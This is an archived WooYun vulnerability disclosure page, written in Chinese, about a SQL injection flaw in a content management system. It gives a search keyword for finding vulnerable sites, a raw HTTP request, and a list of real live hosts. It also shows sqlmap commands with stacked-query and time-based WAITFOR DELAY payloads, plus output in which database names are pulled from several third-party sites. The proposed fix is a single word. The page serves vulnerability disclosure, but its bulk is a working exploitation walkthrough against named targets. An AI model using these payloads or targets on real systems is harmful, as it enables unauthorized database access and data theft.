当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114933

漏洞标题:某建站系统通用sql注入#2

相关厂商:cnvd

漏洞作者: Hero

提交时间:2015-05-19 16:55

修复时间:2015-08-21 16:06

公开时间:2015-08-21 16:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:13

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-19: 细节已通知厂商并且等待厂商处理中
2015-05-23: 厂商已经确认,细节仅向厂商公开
2015-05-26: 细节向第三方安全合作伙伴开放
2015-07-17: 细节向核心白帽子及相关领域专家公开
2015-07-27: 细节向普通白帽子公开
2015-08-06: 细节向实习白帽子公开
2015-08-21: 细节向公众公开

简要描述:

通用sql注入

详细说明:

WooYun: 某建站系统通用sql注入
还是这套系统 不是盲注,直接出数据
涉及中国科技教育网 与某些外贸网站
关键字: inurl:contentmanager.do?method=view
漏洞所在页面:cms/login.html

POST /cms/columnmanager.do?method=more&id=treed45c52e48ada HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/xaml+xml, application/x-ms-xbap, application/x-ms-application, */*
Referer: http://60.247.10.155:8001/cms/login.html
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727)
Host: 60.247.10.155:8001
Content-Length: 49
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=07A0050D142C1E6DA833539777C54B7E
mtpwd=admin&regStep1Success=%CF%C2%D2%BB%B2%BD


id参数未过滤
http://60.247.10.155:8001/cms/login.html
http://www.cnstedu.cn/cms/login.html
http://kxsz.gdec.net/cms/login.html
http://www.cimuset.org/cms/login.html
http://www.fdstmc.org.cn/cms/login.html
http://www.chinaworldmall.cn/cms/login.html
http://www.sqkpym.org.cn/cms/login.html
案例数据证明:
http://60.247.10.155:8001/

[root@Hacker~]# Sqlmap -r c:/1.txt --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:04:03
[13:04:03] [INFO] parsing HTTP request from 'c:/1.txt'
[13:04:03] [WARNING] it appears that you have provided tainted parameter values
('mtpwd=admin'') with most probably leftover chars from manual SQL injection tes
ts (;()') or non-valid numerical value. Please, always use only valid parameter
values so sqlmap could be able to properly run
Are you sure you want to continue? [y/N] y
[13:04:04] [INFO] resuming back-end DBMS 'microsoft sql server'
[13:04:04] [INFO] testing connection to the target url
[13:04:04] [WARNING] the web server responded with an HTTP error code (500) whic
h could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: method=more&id=treed45c52e48ada'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: method=more&id=treed45c52e48ada' WAITFOR DELAY '0:0:5'--
---
[13:04:05] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2000
[13:04:05] [INFO] fetching database names
[13:04:05] [INFO] fetching number of databases
[13:04:05] [INFO] resumed: 21
[13:04:05] [INFO] resumed: jalor_bolanhui
[13:04:05] [INFO] resumed: jalor_bolanhui_zhongwen
[13:04:05] [INFO] resumed: jalor_cstm_dyy
[13:04:05] [INFO] resumed: jalor_cstm_dyy_other
[13:04:05] [INFO] resumed: jalor_cstm_qianru
[13:04:05] [INFO] resumed: jalor_cstm_yuyue
[13:04:05] [INFO] resumed: jalor_dzbonline
[13:04:05] [INFO] resumed: jalor_dzzz
[13:04:05] [INFO] resumed: jalor_gjjl
[13:04:05] [INFO] resumed: jalor_huodongshi
[13:04:05] [INFO] resumed: jalor_jijinhui
[13:04:05] [INFO] resumed: jalor_kpdpclm
[13:04:05] [INFO] resumed: jalor_kxjt
[13:04:05] [INFO] resumed: jalor_xzyz
[13:04:05] [INFO] resumed: jalor_zjzyz
[13:04:05] [INFO] resumed: master
[13:04:05] [INFO] resumed: model
[13:04:05] [INFO] resumed: msdb
[13:04:05] [INFO] resumed: Northwind
[13:04:05] [INFO] resumed: pubs
[13:04:05] [INFO] resumed: tempdb
available databases [21]:
[*] jalor_bolanhui
[*] jalor_bolanhui_zhongwen
[*] jalor_cstm_dyy
[*] jalor_cstm_dyy_other
[*] jalor_cstm_qianru
[*] jalor_cstm_yuyue
[*] jalor_dzbonline
[*] jalor_dzzz
[*] jalor_gjjl
[*] jalor_huodongshi
[*] jalor_jijinhui
[*] jalor_kpdpclm
[*] jalor_kxjt
[*] jalor_xzyz
[*] jalor_zjzyz
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[13:04:05] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 1 times
[13:04:05] [INFO] fetched data logged to text files under 'C:\tools\SQLMAP~1\SQL
MAP~1\Bin\output\60.247.10.155'
[*] shutting down at 13:04:05


1.png


www.cnstedu.cn

[root@Hacker~]# Sqlmap -r c:/1.txt -p id --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:20:25
[13:20:25] [INFO] parsing HTTP request from 'c:/1.txt'
[13:20:25] [WARNING] provided parameter 'id' is not inside the POST
[13:20:25] [WARNING] provided parameter 'id' is not inside the Cookie
[13:20:25] [INFO] resuming back-end DBMS 'microsoft sql server'
[13:20:25] [INFO] testing connection to the target url
[13:20:25] [WARNING] the web server responded with an HTTP error code (500) whic
h could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: method=more&id=treed45c52e48ada'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: method=more&id=treed45c52e48ada' WAITFOR DELAY '0:0:5'--
---
[13:20:25] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2000
[13:20:25] [INFO] fetching database names
[13:20:25] [INFO] fetching number of databases
[13:20:25] [INFO] resumed: 12
[13:20:25] [INFO] resumed: jalor_cibas
[13:20:25] [INFO] resumed: jalor_cwtc_shop
[13:20:25] [INFO] resumed: jalor_cwtc_website_2012
[13:20:25] [INFO] resumed: jalor_jalor
[13:20:25] [INFO] resumed: jalor_qnzzs
[13:20:25] [INFO] resumed: master
[13:20:25] [INFO] resumed: model
[13:20:25] [INFO] resumed: msdb
[13:20:25] [INFO] resumed: Northwind
[13:20:25] [INFO] resumed: pubs
[13:20:25] [INFO] resumed: tempdb
[13:20:25] [INFO] resumed: zmkh
available databases [12]:
[*] jalor_cibas
[*] jalor_cwtc_shop
[*] jalor_cwtc_website_2012
[*] jalor_jalor
[*] jalor_qnzzs
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] zmkh
[13:20:25] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 1 times
[13:20:25] [INFO] fetched data logged to text files under 'C:\tools\SQLMAP~1\SQL
MAP~1\Bin\output\www.cnstedu.cn'
[*] shutting down at 13:20:25


2.png


http://kxsz.gdec.net/

[root@Hacker~]# Sqlmap -r c:/1.txt -p id
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:27:11
[13:27:11] [INFO] parsing HTTP request from 'c:/1.txt'
[13:27:11] [WARNING] provided parameter 'id' is not inside the POST
[13:27:11] [WARNING] provided parameter 'id' is not inside the Cookie
[13:27:11] [INFO] resuming back-end DBMS 'microsoft sql server'
[13:27:11] [INFO] testing connection to the target url
[13:27:12] [WARNING] the web server responded with an HTTP error code (500) whic
h could interfere with the results of the tests
[13:27:12] [INFO] testing if the url is stable, wait a few seconds
[13:27:13] [INFO] url is stable
[13:27:13] [WARNING] heuristic test shows that GET parameter 'id' might not be i
njectable
[13:27:13] [INFO] testing for SQL injection on GET parameter 'id'
[13:27:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:27:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[13:27:17] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[13:27:18] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[13:27:18] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[13:27:19] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[13:27:20] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[13:27:21] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[13:27:32] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase stacked que
ries' injectable
[13:27:32] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[13:27:32] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[13:27:32] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[13:27:43] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase time-based
blind' injectable
[13:27:43] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[13:27:43] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[13:27:46] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:27:50] [INFO] checking if the injection point on GET parameter 'id' is a fal
se positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] y
sqlmap identified the following injection points with a total of 100 HTTP(s) req
uests:
---
Place: GET
Parameter: id
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: method=more&id=treed45c52e48ada'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: method=more&id=treed45c52e48ada' WAITFOR DELAY '0:0:5'--
---
[13:29:21] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2000
[13:29:21] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 103 times
[13:29:21] [INFO] fetched data logged to text files under 'C:\tools\SQLMAP~1\SQL
MAP~1\Bin\output\kxsz.gdec.net'
[*] shutting down at 13:29:21


3.png


www.chinaworldmall.cn

[root@Hacker~]# Sqlmap -r c:/1.txt -p id --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:35:38
[13:35:38] [INFO] parsing HTTP request from 'c:/1.txt'
[13:35:38] [WARNING] provided parameter 'id' is not inside the POST
[13:35:38] [WARNING] provided parameter 'id' is not inside the Cookie
[13:35:38] [INFO] resuming back-end DBMS 'microsoft sql server'
[13:35:38] [INFO] testing connection to the target url
[13:35:38] [WARNING] the web server responded with an HTTP error code (500) whic
h could interfere with the results of the tests
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: method=more&id=treed45c52e48ada'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: method=more&id=treed45c52e48ada' WAITFOR DELAY '0:0:5'--
---
[13:35:38] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2000
[13:35:38] [INFO] fetching database names
[13:35:38] [INFO] fetching number of databases
[13:35:39] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[13:35:40] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
1
[13:35:55] [INFO] adjusting time delay to 1 second due to good response times
2
[13:35:56] [INFO] retrieved: jal
[13:36:18] [ERROR] invalid character detected. retrying..
[13:36:18] [WARNING] increasing time delay to 2 seconds
or_cibas
[13:37:25] [INFO] retrieved: jalor_cwtc_shop
[13:39:54] [INFO] retrieved: jalor_cwtc_website_2012
[13:43:16] [INFO] retrieved: jalor_jalor
[13:45:01] [ERROR] invalid character detected. retrying..
[13:45:01] [WARNING] increasing time delay to 3 seconds
[13:45:05] [INFO] retrieved:
[13:45:20] [ERROR] invalid character detected. retrying..
[13:45:20] [WARNING] increasing time delay to 4 seconds
[13:45:40] [ERROR] invalid character detected. retrying..
[13:45:40] [WARNING] increasing time delay to 5 seconds
[13:46:06] [ERROR] invalid character detected. retrying..
[13:46:06] [WARNING] increasing time delay to 6 seconds
jalo
[13:48:24] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[13:48:32] [ERROR] unable to properly validate last character value ('y')..
y_qnz
[13:49:05] [ERROR] invalid character detected. retrying..
[13:49:05] [WARNING] increasing time delay to 2 seconds
zs
[13:49:26] [INFO] retrieved: master
[13:50:19] [INFO] retrieved: mod
[13:50:59] [ERROR] invalid character detected. retrying..
[13:50:59] [WARNING] increasing time delay to 3 seconds
el
[13:51:25] [INFO] retrieved: msdb
[13:52:14] [INFO] retrieved: North


`D{MQF48NVI967VF1(ZG9JX.png

漏洞证明:

rt

修复方案:

过滤

版权声明:转载请注明来源 Hero@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-05-23 16:05

厂商回复:

暂未确认生产厂商或建立与生产厂商直接处置渠道,待认领。

最新状态:

暂无


漏洞评价:

评论